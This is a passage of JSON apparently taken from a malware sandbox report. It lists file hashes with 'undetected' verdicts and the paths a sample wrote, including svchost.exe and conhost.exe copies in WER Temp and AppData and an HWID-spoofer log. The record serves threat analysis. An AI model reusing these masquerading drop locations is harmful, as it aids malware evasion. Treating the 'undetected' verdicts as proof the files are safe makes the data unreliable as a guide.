2ef7aca41183ad95a4c1add28e1fe59ab2ebd55feb6822320eba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_fr.dll","sha256":"80c39daae7993e8e76fa7f5b2feea3b058a740370caa73fc82808c876cad6412","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ga.dll","sha256":"a95a5072d931f9f10486b8afdf14446eb9b2484e6427dd4003002308db57aa23","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_gd.dll","sha256":"e38217ef2be169bf2066e9330520984bf04f39cfcf2b3e6643cb7f1a3124bb08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_gl.dll","sha256":"79066b9715de1cffcd206608b1fc0dce98124b16b9da0782eb4f8131a88de8f5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_gu.dll","sha256":"9fc447f9f9213ac087dc345dd82de813716501526f7a8d60de761fcec07cc210","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_hi.dll","sha256":"cd04d413a59a0a4c05f64d33510ed2023eb7a047b05c1e5432e33edadc11482e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_hr.dll","sha256":"7a514d213fe5d57b145059554fa52e71ba4898e12862541ef9f455845edfabbf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_hu.dll","sha256":"fb3f310cd5b86089027e63f53896ef8251016234e6504d1c04667b1cb95069de","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_id.dll","sha256":"585b18ffbd7e60c7f9b37cd6debae55514c100344a2166bc82a57d1e06ff75ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_is.dll","sha256":"5edd9ebaacf2f35736bf3e379b2e9ec4dfefa40482acc3d5ee819fbd014833e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_it.dll","sha256":"ef3c96352dba24dddbc39d191bf83a70404b4b41f500da531e911a7421797b42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_iw.dll","sha256":"2b2ff507be7d4620dce4e8e9afbcba5d0bfb76484f50af5e9bf83ec5ce0c6184","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ja.dll","sha256":"e049faa6233096de5bebec0065eecc515fdb1765742cb7d73cd15061a7354de4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ka.dll","sha256":"3d80e1fb8035d7ab8989a0c779faf25548ecf25b25c8e84690efa19c476c7782","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_kk.dll","sha256":"2400607f02d1a0535299caf156893b39875207a9d01405882f0622719446baba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_km.dll","sha256":"20506d824742ee70782aba142cfc5e9354709abf5fc0ef8f27060e244d28e630","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_kn.dll","sha256":"6c4cbc6b61bb6c33911b9d6d05b92c55bd27816351e58ad901873921f1726e55","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ko.dll","sha256":"c5a9d45ff1d1e205b085a50d0af0241877ff7cc497d00eb30620027084557b56","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_kok.dll","sha256":"a07644f5501de77139d4e48ad59bbe37124949b806a76d4038e68106b2a16d63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_lb.dll","sha256":"eb2eb8c7274228c607beedf9dbd00844a02d9bade53a3e95a1ce1e99543d1ad2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_lo.dll","sha256":"7ce1bc9e1fae3bea132cea29ebf6084748b56b186d82576a3db68f0ec7afda64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_lt.dll","sha256":"e46f1ea82cfc2a66401508fe84747f8935cee8813b2c109ac3845f48fbe871b4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_lv.dll","sha256":"6edd04af54d57b34417f953e4cc4b7d6a81890fb8b96875938f4bd1fd5454c42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_mi.dll","sha256":"fe40a5fdcbe2544fc52f67aca53b009e04fc71e37d1f575c6bef1cd45b06be3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_mk.dll","sha256":"1a11157db59807464381321e7d306999ab5fd5cb5b3e592ac939570b01d0fce4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ml.dll","sha256":"7cd6b44cb9c38f27d5ade7003b5c2a5ecbea9f5fd8a2dd02155894b9890175a1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_mr.dll","sha256":"af77de5745915990b7d8ff40ed7b71f841f0d2d6edd789c0cb4fe8e10ae2d178","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ms.dll","sha256":"d8a8724ac84b2ee0e2e95aa99cf5244db03525d69925e26631f61ed24c6f84d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_mt.dll","sha256":"06272a11c825ef9773e6138c69693a7a064891cc376a51b32ab889273a0458e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_nb.dll","sha256":"3f18740cbda48835b30b142718465bd0cac59d7419591423de4b7f9c57f14fc1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ne.dll","sha256":"3fe668846d4a36ce95de4c982d68dc53b7ae422afd7b3e1197e055d97c81422f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_nl.dll","sha256":"beee6288c9217178484cc753116182211ed88f18da88805d58af96a60d59f66d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_nn.dll","sha256":"efc3324bf5dea534d7415f7ecf1378ccd9ed32109578c03b9870810d1b47d6e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_or.dll","sha256":"60c92e53739605d71cb8153f8a608724a47c0b6b4e7f0fba34f0facfc07c6320","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_pa.dll","sha256":"a21615eeb3cd4535d3d9f830f378679f7c40b75ee3bc0ddf621640c3d2bf0833","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_pl.dll","sha256":"bcaac5a12f698128259d22d08bc949991003da385176c3811d9886e314a27fe1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_pt-BR.dll","sha256":"912fd9e72e3f373e2799379700090ac7fc2e2fa912e77ef64312622952babb7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_pt-PT.dll","sha256":"fa0e3fda7926d3b8e68dc1a556a9d1722f28d883ec2f37498f5348cd1233618e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_quz.dll","sha256":"f96c3803a5fcd291a9ebac8b857aaad1cf6fe51c78c084b0b2e3e2f57e16ad11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ro.dll","sha256":"eaeb297ba56d04bb16e5fa5660eb74182f6befcc2be87e9c65b24a14c0c60e03","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ru.dll","sha256":"174784f39ea776fafef09876551c076d871f8a8b0d25b9856f71925cadaddd6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sk.dll","sha256":"138d4e6fc0b79660d82f869348e66e7a77a64c399c2f4630e2d14ac76213091d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sl.dll","sha256":"84de4de77e381ad84d3a7fbcb5d722800515d3593143b4c69978e2bab090bf72","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sq.dll","sha256":"f1f0bc77374d27b4e6cb64415bb163fd0a8667eeccc3fd6c9e5d1c0aa46258b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sr-Cyrl-BA.dll","sha256":"e2a917245b738b1427fcdad8859981e9d0061c80e4183f385563d85c36df41c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sr-Cyrl-RS.dll","sha256":"9d9fb9585162bccf87c6e38c2b8adb2a9d7d6860bd9dd5364293e78e14a01efb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sr-Latn-RS.dll","sha256":"82ceef7cf366eb31f852b0a41d283d124d0dbaea611987873bcd5149c5da8a91","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sr.dll","sha256":"4ea1118d720bca195eec394f7dc56d15f55729b53f56b8889a3588f566017286","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_sv.dll","sha256":"8bbf3007e9ee5bb35296d7ca6310ee4cae2cf928847abaffd3453429174224fe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ta.dll","sha256":"68aa940b43ca4f7068ddc873eec50ec9efe076e503c458938e3909e8d616428d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_te.dll","sha256":"bd026799d0d8c970bb24b71d99afffab3461ac55e4258a5909d0dcf9afa96fc6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_th.dll","sha256":"b9240ff444887f98dcf9e30b18fb3fc3c5dffabe502ca436f39e69dabb0cb266","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_tr.dll","sha256":"30017b1665d8956b48cdca1e707357a21d49eb22bab96f51b345008d4c144b48","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_tt.dll","sha256":"4d55aeaff7d7b9e45ac666e2ba73a0c2728078f46917621f6e47c77c0ee1480b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ug.dll","sha256":"3688a3da9eefc65824f6dc150080ab6199364284cf3a3976d9aa80d7cf5963ad","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_uk.dll","sha256":"baceeaa0c2dcad8c8bc837f73b283cc333e71445e8e23fc109c5a257f858203e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_ur.dll","sha256":"60b8fff7ee452949ba005b378b75031ce5e4e0aa386767448f0cbd7d45a2c066","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_vi.dll","sha256":"ec8eeaeaeffa5ffc6ab73d738b2baf2dc8bdf8435f781c1947efd3adeccae799","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_zh-CN.dll","sha256":"e532eb3824b085aa6d449f2b6bcb1dd6e157dbd7be187f5e67a9ec013518e1d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"name":"msedgeupdateres_zh-TW.dll","sha256":"490ecb3b6f1397b045626f26c44b858e96a842bfd162de12fee383aaea1998c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]}],"files_written":[{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\conhost.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.deps.json","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.pdb","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\WER\\Temp\\59eef78126d8\\RPZ-HWID.runtimeconfig.json","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\SexsoldierSpoofer.exe.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\autolauncher_log.txt","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%APPDATA%\\SystemData\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\conhost.exe.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\autolauncher_tracking.txt","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\svchost.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\svchost.exe.log","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%TEMP%\\MicrosoftEdgeWebview2Setup.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdate.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\CopilotUpdate.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdate.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateBroker.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateOnDemand.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateComRegisterShell64.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeComRegisterShellARM64.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psmachine.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psmachine_64.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psmachine_arm64.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psuser.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psuser_64.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\psuser_arm64.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\NOTICE.TXT","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\EdgeUpdate.dat","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\MicrosoftEdgeUpdateCore.exe","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_am.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ar.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_bg.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_bn.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ca.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_cs.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_da.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_de.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_el.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_en.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_en-GB.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_es.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_es-419.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_et.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_fa.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_fi.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_fil.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_fr.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_gu.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_hi.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_hr.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_hu.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_id.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_is.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_it.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_iw.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ja.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_kn.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ko.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_lt.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_lv.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ml.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_mr.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ms.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_nb.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_nl.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_pl.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_pt-BR.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_pt-PT.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ro.dll","sources":[{"report_type":"sandbox","report_id":"6ab41a51c98eee8ef101e61c"}]},{"path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Temp\\EUDE7D.tmp\\msedgeupdateres_ru.dll","sources":[{"report_type":"s